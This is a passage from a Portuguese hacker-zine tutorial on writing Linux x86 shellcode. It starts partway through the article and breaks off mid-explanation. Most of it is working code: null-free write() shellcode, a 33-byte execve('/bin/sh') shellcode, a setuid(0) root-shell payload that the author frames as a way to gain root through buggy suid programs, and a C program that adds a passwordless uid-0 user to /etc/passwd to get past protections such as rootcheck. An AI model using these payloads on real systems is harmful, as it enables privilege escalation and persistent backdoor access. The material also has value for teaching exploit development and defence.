$0x44544F4D */ "\x89\xe1" /* mov %esp, %ecx */ "\xba\x0a\x00\x00\x00" /* mov $0xa, %edx */ "\xb8\x04\x00\x00\x00" /* mov $0x4, %eax */ "\xcd\x80" /* int $0x80 */ "\xbb\x00\x00\x00\x00" /* mov $0x0, %ebx */ "\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", sizeof(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexawrite.c Pronto! Está pronto nosso shellcode.Vamos executá-lo! :D root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite hexawrite.c hexawrite.c: In function `main': hexawrite.c:33: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexawrite Tamanho do Shellcode: 44 bytes. MOTDLabs root@motdlabs:~/IP_FIX/shellcode# Pronto! Um simples shellcode que imprime uma string na tela com o tamanho de 44; (43+'\0'). Mostrar o tamanho é útil pra saber se caberá em um buffer numa situação de buffer overflow. O correto seria ter usado a função strlen() para calcular o tamanho do shellcode, mas, nesse caso, ele só contará até 2, pois ele encerrará a contagem no primeiro null byte que encontrar(\x00), por isso o uso da função sizeof(). Viram como é simples fazer um shellcode? Não é nenhuma coisa de outro mundo, basta ter um mínimo de conhecimento, força de vontade e um pouco de malícia ajuda também. :) Mas como tudo na vida geralmente não é tão simples assim, vocês irão se deparar com um pequeno problema caso tentem usar esse shellcode para explorar um buffer overflow. O problema se encontra nos "\x00" que fazem parte de nosso shellcode, pois quando jogarmos o shellcode dentro do buffer e apontarmos o endereço de retorno para o shellcode, ele será executado normalmente até encontrar um NULL byte (0x00), e a execução do mesmo será interrompida como se o código tivesse sido finalizado, e isso não é nada legal!!! Provavelmente você verá uma mensagem como "Segmentation Fault" ou "Illegal Instruction". Calma companheiro! No mundo da informática sempre tem um segundo caminho, pode ser mais fácil ou difícil, mas tudo tem uma segunda saída. Como iremos resolver então? É até simples a resposta, muito simples, vamos olhar denovo o código asmwrite.c. Repare que manuseiamos muitos 0x0 (push $0x0, por exemplo), mas não é somente isso o problema, repare também que usamos os registradores de 32 bits (eax), que possuem uma parte alta (ah) e a baixa (al). Quando fazemos um mov $0x4, %eax, por exemplo, não usamos todo o espaço que o registrador oferece, o que resulta em NULL byte já que sobra muito espaço. __asm__( "mov $0x1, %ebx \n" "push $0x0A \n" "push $0x7362614C \n" "push $0x44544F4D \n" "mov %esp, %ecx \n" "mov $0xa, %edx \n" "mov $0x4, %eax \n" "int $0x80 \n" "mov $0x0, %ebx \n" "mov $0x1, %eax \n" "int $0x80 \n" ); Uma solução efetiva para isso, é simplesmente ao invés de jogarmos os 0x0 direto na pilha (push $0x0) ou movermos 0x0 para um registrador (mov $0x0, %ebx) nós podemos zerar o próprio registrador com xor (xor %eax, %eax) e jogar para a pilha (push %eax) assim não terá a necessidade de manusearmos os 0x0. A outra solução, é também usarmos a parte baixa dos registradores (mov $0xb, %dl), que faz com que não seje desperdiçado espaço já que estamos usando apenas uma parte dele. A modificação é simples, e ficará da seguinte forma: <++> shellcode/asmwrite2.c /* * Protótipo de um shellcode em ASM. * Imprime a string "MOTDLabs" na tela. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmwrite2 asmwrite2.c */ #include main() { __asm__( "xor %eax, %eax \n" /* Sem isso nosso código em hexa não roda. :/ */ "xor %ebx, %ebx \n" /* Precisamos zerar %ebx, para jogarmos o $0x1. */ "mov $0x1, %bl \n" /* STDOUT da função write(). */ "push $0x0A \n" /* Aqui temos... (\n) */ "push $0x7362614C \n" /* ...nossa string... (sbaL) */ "push $0x44544F4D \n" /* ...ao contrário. (DTOM) */ "mov %esp, %ecx \n" /* Jogamos nossa string para o contador. Como é muito grande, não usaremos %cl. */ "xor %edx, %edx \n" /* Precisamos zerar %edx, senão terá uma saída suja (imprimirá mais do esperado). */ "mov $0xa, %dl \n" /* Aqui está o tamanho da string: 0xa=10. Jogamos para o registradador de dados. */ "mov $0x4, %al \n" /* Nossa querida system call de write(). */ "int $0x80 \n" /* A melhor hora! Cai pro modo kernel e executa tudo acima! */ "xor %eax, %eax \n" /* Sem isso nosso código em hexa não roda. :/ */ "xor %ebx, %ebx \n" /* Como zeramos %ebx, não será necessário o mov $0x0, %ebx. */ "mov $0x1, %al \n" /* Outra querida system call, da função exit() dessa vez. */ "int $0x80 \n" /* Finalmente! Tudo é executado! */ ); } <--> shellcode/asmwrite2.c Terminado! Captaram as alterações? Como perceberam, foram poucas. Uns xor's aqui, uns %al alí e pronto! Será que ele ficou realmente sem NULL's bytes? Vamos ver!!! :P Mas antes reparem que eu adicionei um "xor %eax, %eax" no início de cada função ao código pois sem eles não conseguiremos rodar nosso programa somente com os opcodes em hexadecimal. root@motdlabs:~/IP_FIX/shellcode# gcc -o asmwrite2 asmwrite2.c root@motdlabs:~/IP_FIX/shellcode# ./asmwrite2 MOTDLabs root@motdlabs:~/IP_FIX/shellcode# Compilamos e executamos sem problemas. Vamos debugar: root@motdlabs:~/IP_FIX/shellcode# gdb asmwrite2 GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048314
: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : xor %eax,%eax 0x8048326 : xor %ebx,%ebx 0x8048328 : mov $0x1,%bl 0x804832a : push $0xa 0x804832c : push $0x7362614c 0x8048331 : push $0x44544f4d 0x8048336 : mov %esp,%ecx 0x8048338 : xor %edx,%edx 0x804833a : mov $0xa,%dl 0x804833c : mov $0x4,%al 0x804833e : int $0x80 0x8048340 : xor %eax,%eax 0x8048342 : xor %ebx,%ebx 0x8048344 : mov $0x1,%al 0x8048346 : int $0x80 0x8048348 : leave 0x8048349 : ret 0x804834a : nop 0x804834b : nop 0x804834c : nop 0x804834d : nop 0x804834e : nop 0x804834f : nop End of assembler dump. (gdb) Repare que agora o código começa em , como antes, mas agora termina em . A retirada dos null's bytes fez o programa fica menor ainda. Vamos capturar os opcodes novamente.: (gdb) x/xb main+16 0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x31 (gdb) 0x8048327 : 0xdb (gdb) 0x8048328 : 0xb3 (gdb) ... ... ... 0x8048343 : 0xdb (gdb) 0x8048344 : 0xb0 (gdb) 0x8048345 : 0x01 (gdb) 0x8048346 : 0xcd (gdb) 0x8048347 : 0x80 (gdb) Agora iremos montá-lo denovo, somente com os códigos em hexadecimal.: <++> shellcode/hexawrite2.c /* * Shellcode pronto em hexadecimal. * Imprime a string "MOTDLabs" na tela. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexawrite2 hexawrite2.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb3\x01" /* mov $0x1, %bl */ "\x6a\x0a" /* push $0x0A */ "\x68\x4c\x61\x62\x73" /* push $0x7362614C */ "\x68\x4d\x4f\x54\x44" /* push $0x44544F4D */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb2\x0a" /* mov $0xa, %dl */ "\xb0\x04" /* mov $0x4, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexawrite2.c root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite2 hexawrite2.c hexawrite2.c: In function `main': hexawrite2.c:36: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexawrite2 Tamanho do Shellcode: 36 bytes. MOTDLabs root@motdlabs:~/IP_FIX/shellcode# w00w00!!! Código bem menor, mais elegante e continua funcional!!! A retirada dos 0x00 fizeram uma grande diferença em nosso código. Perceberam só como não tem muito segredo escrever um shellcode, é tudo questão de raciocínio e assembly! :P Para escrevermos na tela foram empurrados letras em hexadecimal para o stack. Aqui está a tabela ascii para você acompanhar esse artigo com mais clareza.: root@motdlabs:~/IP_FIX/shellcode# man ascii Oct Dec Hex Char Oct Dec Hex Char ------------------------------------------------------------ 000 0 00 NUL '\0' 100 64 40 @ 001 1 01 SOH 101 65 41 A 002 2 02 STX 102 66 42 B 003 3 03 ETX 103 67 43 C 004 4 04 EOT 104 68 44 D 005 5 05 ENQ 105 69 45 E 006 6 06 ACK 106 70 46 F 007 7 07 BEL '\a' 107 71 47 G 010 8 08 BS '\b' 110 72 48 H 011 9 09 HT '\t' 111 73 49 I 012 10 0A LF '\n' 112 74 4A J 013 11 0B VT '\v' 113 75 4B K 014 12 0C FF '\f' 114 76 4C L 015 13 0D CR '\r' 115 77 4D M 016 14 0E SO 116 78 4E N 017 15 0F SI 117 79 4F O 020 16 10 DLE 120 80 50 P 021 17 11 DC1 121 81 51 Q 022 18 12 DC2 122 82 52 R 023 19 13 DC3 123 83 53 S 024 20 14 DC4 124 84 54 T 025 21 15 NAK 125 85 55 U 026 22 16 SYN 126 86 56 V 027 23 17 ETB 127 87 57 W 030 24 18 CAN 130 88 58 X 031 25 19 EM 131 89 59 Y 032 26 1A SUB 132 90 5A Z 033 27 1B ESC 133 91 5B [ 034 28 1C FS 134 92 5C \ '\\' 035 29 1D GS 135 93 5D ] 036 30 1E RS 136 94 5E ^ 037 31 1F US 137 95 5F _ 040 32 20 SPACE 140 96 60 ` 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c 044 36 24 $ 144 100 64 d 045 37 25 % 145 101 65 e 046 38 26 & 146 102 66 f 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o 060 48 30 0 160 112 70 p 061 49 31 1 161 113 71 q 062 50 32 2 162 114 72 r 063 51 33 3 163 115 73 s 064 52 34 4 164 116 74 t 065 53 35 5 165 117 75 u 066 54 36 6 166 118 76 v 067 55 37 7 167 119 77 w 070 56 38 8 170 120 78 x 071 57 39 9 171 121 79 y 072 58 3A : 172 122 7A z 073 59 3B ; 173 123 7B { 074 60 3C < 174 124 7C | 075 61 3D = 175 125 7D } 076 62 3E > 176 126 7E ~ 077 63 3F ? 177 127 7F DEL Sempre que precisar consulte ela pelo terminal. O cwrite foi só um exemplo básico para se pegar a idéia essencial de como se constrói um shellcode. Com essa base, podemos nos aprofundar um pouco mais e escrever algo mais divertido. :) Agora vamos escrever um shellcode que irá nos dar uma shell. Sim amigos, o famoso "/bin/sh"!!! Todo tutorial de shellcode que se preze mostra como fazê-lo... :P A coisa se complicará um pouco comparando com o primeiro, mas vamos escrever da forma mais simples possível e passo-a-passo, com isso espero ampliar sua mente e tirar sua dúvida, jovem fuçador. :) Chega de papo e vamos lá!!! =) Como de costume, vamos escrever primeiramente o protótipo em C. <++> shellcode/csh.c /* * Protótipo de shellcode em C. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o csh csh.c */ #include main() { char *string[2]; string[0]= "/bin/sh"; string[1]= '\0'; execve(string[0], string, '\0'); exit(0); } <--> shellcode/csh.c Vamos compilá-lo e executá-lo.: root@motdlabs:~/IP_FIX/shellcode# gcc -o csh csh.c root@motdlabs:~/IP_FIX/shellcode# ./csh sh-2.05b# Funciona perfeitamente. Mas agora precisamos entender como funciona a função execve().: root@motdlabs:~/IP_FIX/shellcode# man execve int execve(const char *filename, char *const argv [], char *const envp[]); Bem, se seguirmos a analogia do que a man page nos diz, veremos que temos que criar um ponteiro com vetor para o que queremos executar (char *filename), e um outro ponteiro para o argumento que será passado (char *const argv []). Ou seja, temos que ter nossa string (string[0]), no primeiro argumento, seguido por um byte nulo (string[1]) no segundo argumento, pra indicar o fim da string. Como não usaremos nenhuma variável ambiente, colocamos um null byte no último argumento. Repare que não podemos fazer da seguinte forma: execve("/bin/sh",'\0','\0"), pois se tem a necessidade de passar os bytes nulos através do ponteiro com vetor. A man page explica isso direitinho. :) Agora vamos voltar ao trabalho. Agora que sabemos a forma de executar o que queremos, temos que transpor isso para assembly. Vamos usar nossa tabelinha para ver como devemos manuesar a função execve() em baixo-nível.: _________________________________________________________________________________________________ |%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi | '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-''''''''''''' | 11 | sys_exeve | arch/i386/kernel/process.c | char *filename | *argv[] | *envp[] | | | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Ok! Temos as informações necessárias, vamos tentar montá-lo agora em ASM.: <++> shellcode/asmsh.c /* * Protótipo de shellcode em ASM. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmsh asmsh.c */ #include main() { __asm__ ( "xor %eax, %eax \n" /* Zeramos %eax. */ "push %eax \n" /* Byte nulo da string /bin/sh para encerrá-la. (char *filename,... */ "push $0x68732F2F \n" /* Foi colocado duas barras (//) para não ficar com null byte. */ "push $0x6E69622F \n" /* /bin//sh */ "mov %esp, %ebx \n" /* Agora que temos tudo no stack, movemos para %ebx: (char *filename,... */ "push %eax \n" /* NULL byte que finaliza a string /bin/sh no ...char *const argv[],... */ "push %ebx \n" /* Devolve o valor antigo do stack pro novo stack. */ "mov %esp, %ecx \n" /* Com a string novamente no stack, vai para %ecx: ...char *const argv[],... */ "xor %edx, %edx \n" /* Zeramos %edx para deixar um null byte. %edx: ...char *const envp[]); */ "mov $0xb, %al \n" /* System Call da função execve(), 0xb = 11. */ "int $0x80 \n" /* Ação! :) */ "xor %eax, %eax \n" /* %eax == 0 */ "xor %ebx, %ebx \n" /* %ebx == 0 == EXIT_SUCCESS */ "mov $0x1, %al \n" /* sys_call de exit() */ "int $0x80 \n" /* Play! :P */ ); } <--> shellcode/asmsh.c root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsh asmsh.c root@motdlabs:~/IP_FIX/shellcode# ./asmsh sh-2.05b# w00w00!!! Nada de jmp, call, pop, inc, etc... apenas instruções simples que vimos no exemplo de write(). Mas não terminamos, temos que pegar os opcodes para montarmos ele em hexadecimal.: root@motdlabs:~/IP_FIX/shellcode# gdb asmsh GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048314
: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : xor %eax,%eax 0x8048326 : push $0x68732f2f 0x804832b : push $0x6e69622f 0x8048330 : mov %esp,%ebx 0x8048332 : push %eax 0x8048333 : push %ebx 0x8048334 : mov %esp,%ecx 0x8048336 : xor %edx,%edx 0x8048338 : mov $0xb,%al 0x804833a : int $0x80 0x804833c : xor %eax,%eax 0x804833e : xor %ebx,%ebx 0x8048340 : mov $0x1,%al 0x8048342 : int $0x80 0x8048344 : leave 0x8048345 : ret 0x8048346 : nop 0x8048347 : nop 0x8048348 : nop 0x8048349 : nop 0x804834a : nop 0x804834b : nop 0x804834c : nop 0x804834d : nop 0x804834e : nop 0x804834f : nop End of assembler dump. (gdb) x/xb main+16 0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x50 (gdb) 0x8048327 : 0x68 (gdb) 0x8048328 : 0x2f (gdb) ... ... ... 0x8048340 : 0xdb (gdb) 0x8048341 : 0xb0 (gdb) 0x8048342 : 0x01 (gdb) 0x8048343 : 0xcd (gdb) 0x8048344 : 0x80 (gdb) <++> shellcode/hexash.c /* * Protótipo de shellcode em ASM. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexash hexash.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */ "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */ "\x89\xe3" /* mov %esp, %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb0\x0b" /* mov $0xb, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexash.c root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c hexash.c: In function `main': hexash.c:36: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexash Tamanho do Shellcode: 33 bytes. sh-2.05b# w00w00!!! Um shellcode /bin/sh de 33 bytes. Isso é incrível pra quem está acostumado com o tamanho do Aleph1 (45 bytes), mas não tem nenhuma técnica desconhecida. Que tal incrementarmos um pouquinho? É mais que óbvio que usaremos essa shell para conseguir acesso remoto através de alguma vulnerabilidade. E que tal assim que cairmos, termos permissões root (uid=0)??? Sim! Isso é possível, e é mais fácil do que você imagina. Vamos ver.: <++> shellcode/csetuid.c /* * Protótipo de shellcode em C. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o csetuid csetuid.c */ #include main() { setuid(0); } <--> shellcode/csetuid.c root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c root@motdlabs:~/IP_FIX/shellcode# ./csetuid root@motdlabs:~/IP_FIX/shellcode# Ok, agora vamos ver como funciona e criá-lo em ASM: root@motdlabs:~/IP_FIX/shellcode# man setuid int setuid(uid_t uid); uid: user identity; aqui vai o número que o user será identificado, lembrando que 0 é root, e acima disso é user normal ($). Sem problemas, agora vamos ver a system call table dele.: _____________________________________________________________________________________________ |%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' | 23 | sys_setuid | kernel/sys.c | uid_t | | | | | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Bom, então é só movermos 23 pra %eax, 0 para %ebx e dar um int $0x80 que a mágica acontece! :D <++> shellcode/asmsetuid.c /* * Protótipo de shellcode em ASM. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmsetuid asmsetuid.c */ #include main() { __asm__( "xor %eax, %eax \n" /* %eax == 0 */ "xor %ebx, %ebx \n" /* uid == 0. */ "mov $0x17, %al \n" /* %al == 23. */ "int $0x80 \n" /* Modo Kernel. */ ); } <--> shellcode/asmsetuid.c Tão simples quanto exit(). Vamos compilar, testar, debugar e capturar seus opcodes em hexadecimal.: root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsetuid asmsetuid.c root@motdlabs:~/IP_FIX/shellcode# ./asmsetuid root@motdlabs:~/IP_FIX/shellcode# gdb asmsetuid GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048314
: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : xor %eax,%eax 0x8048326 : xor %ebx,%ebx 0x8048328 : mov $0x17,%al 0x804832a : int $0x80 0x804832c : leave 0x804832d : ret 0x804832e : nop 0x804832f : nop End of assembler dump. (gdb) x/xb main+16 0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x31 (gdb) 0x8048327 : 0xdb (gdb) 0x8048328 : 0xb0 (gdb) 0x8048329 : 0x17 (gdb) 0x804832a : 0xcd (gdb) 0x804832b : 0x80 (gdb) Montando...: <++> shellcode/hexasetuid.c /* * Shellcode pronto em hexadecimal. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexasetuid hexasetuid.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x17" /* mov $0x17, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexasetuid.c Compilando e executando... root@motdlabs:~/IP_FIX/shellcode# gcc -o hexasetuid hexasetuid.c hexasetuid.c: In function `main': hexasetuid.c:25: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexasetuid Tamanho do Shellcode: 8 bytes. Segmentation fault root@motdlabs:~/IP_FIX/shellcode# Pronto!!! Viram como é simples fazer um simples setuid(0)? Um detalhe galera, vocês devem ter notado que houve uma saída errada: "Segmentation fault". Não se alarmem, isso se deve ao fato de não termos colocado um exit(0). Em compiladores menores que o 3.3.1 não era necessário colocar o exit(0), pois sua saída seria sempre limpa, mas agora ele tem umas frescuras... Bom, nosso código não está errado e vocês verão que está certo mesmo. ;) Agora você deve estar se perguntado como você executará isso num futuro uso. É simples, somente temos que acoplar numa shell padrão como o nosso /bin/sh. Como? Basta aplicar o código sobre o anterior da seguinte maneira.: <++> shellcode/shsetuid.c /* * Shellcode pronto em hexadecimal. * Abre uma shell /bin/sh + setuid(0) + exit(0). * by IP_FIX . * MotdLabs . * Compilação: # gcc -o shsetuid shsetuid.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x17" /* mov $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* setuid(0); */ "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */ "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */ "\x89\xe3" /* mov %esp, %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb0\x0b" /* mov $0xb, %al */ "\xcd\x80" /* int $0x80 */ /* /bin/sh; */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ /* exit(0). */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/shsetuid.c Compilando e executando... root@motdlabs:~/IP_FIX/shellcode# gcc -o shsetuid shsetuid.c shsetuid.c: In function `main': shsetuid.c:41: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./shsetuid Tamanho do Shellcode: 41 bytes. sh-2.05b# w00w00!!! Um shellcode /bin/sh com setuid(0) + exit(0) por apenas 41 bytes!!! Repare que para criá-lo não foi preciso refazer todo o código novamente, apenas adicionamos um novo código ao velho, sem termos complicações. Muito útil para conseguirmos acesso root através de programas bugados que sejam suid root (chmod +s). Puxa vida, sabemos criar shellcodes que escreve na tela, abre shells e que ainda podemos conseguir previlégios root dependendo da situação, então o que nos impede de criarmos mais? Você terá que escrever diferentes shellcodes dependendo da situação, haverá certos casos que existirão programas que não permitirão a obtenção de shell através de ataques básicos como buffer overflow (stack) e teremos que ser criativos para burlamos. Enfim, cada caso é um caso! Nem sempre as coisas são o que parecem ser, então teremos que ter uma grande malícia para burlar determinados sistemas de proteção como o rootcheck, por exemplo, que ao obtermos uma root shell não autorizada, o próprio irá killar o processo em que estamos. Ohhh!!! Será o fim??? Claro que não!!! Programas desse gênero derruba quem obtém uma root shell atráves de shellcodes como o acima, mas não existe apenas uma maneira de conseguirmos acesso root, como conseguiremos então? Pense o seguinte: Sabemos escrever na tela, o que nos impede de escrevermos em arquivos? Sabendo disso, nada nos impede de adicionarmos um usuário com privilégios root no /etc/passwd da vítima!!! Devolta aos protótipos!!! :D <++> shellcode/cpasswd.c /* * Protótipo de shellcode em C. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o cpasswd cpasswd.c */ #include #include #include main() { /* Declaramos passwd como um inteiro. */ int passwd; /* Usamos open para abrir o arquivo; atenção nas flags!!! * O_RDWR: Read and Write/Leitura e Escrita. * O_APPEND: O ponteiro será apontado no fim do arquivo. */ /* passwd = open("/etc/passwd",O_RDWR|O_APPEND); */ passwd = open("/etc/passwd",1026); /* Após aberto, escrevemos nossa string no arquivo desejado. */ /* write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",strlen("\nip_fix::0:0::/root:/bin/sh\n")); */ write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",30); /* Sai livremente. */ exit(0); } <--> shellcode/cpasswd.c Lembre-se: Se você tiver alguma dúvida sobre as funções, utilize as man pages, você aprenderá muito com elas, te garanto! Pronto. Agora chegou a melhor hora: Compilar e executar!!! :) Confira seu /etc/passwd primeiro. root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: root@motdlabs:~/IP_FIX/shellcode# Compilando e executando... root@motdlabs:~/IP_FIX/shellcode# gcc -o cpasswd cpasswd.c root@motdlabs:~/IP_FIX/shellcode# ./cpasswd root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# Agora temos que converter para assembly, será um pouco trabalhoso mas nada impossível! Vamos ver nossa tabela primeiro.: _____________________________________________________________________________________________ |%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' | 1 | sys_exit | kernel/exit.c | int | | | | | | 4 | sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t | | | | 5 | sys_open | fs/open.c | const char * | int | int | | | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' root@motdlabs:~/IP_FIX/shellcode# man open int open(const char *pathname, int flags, mode_t mode); [ %ebx ] [ %ecx ] [ 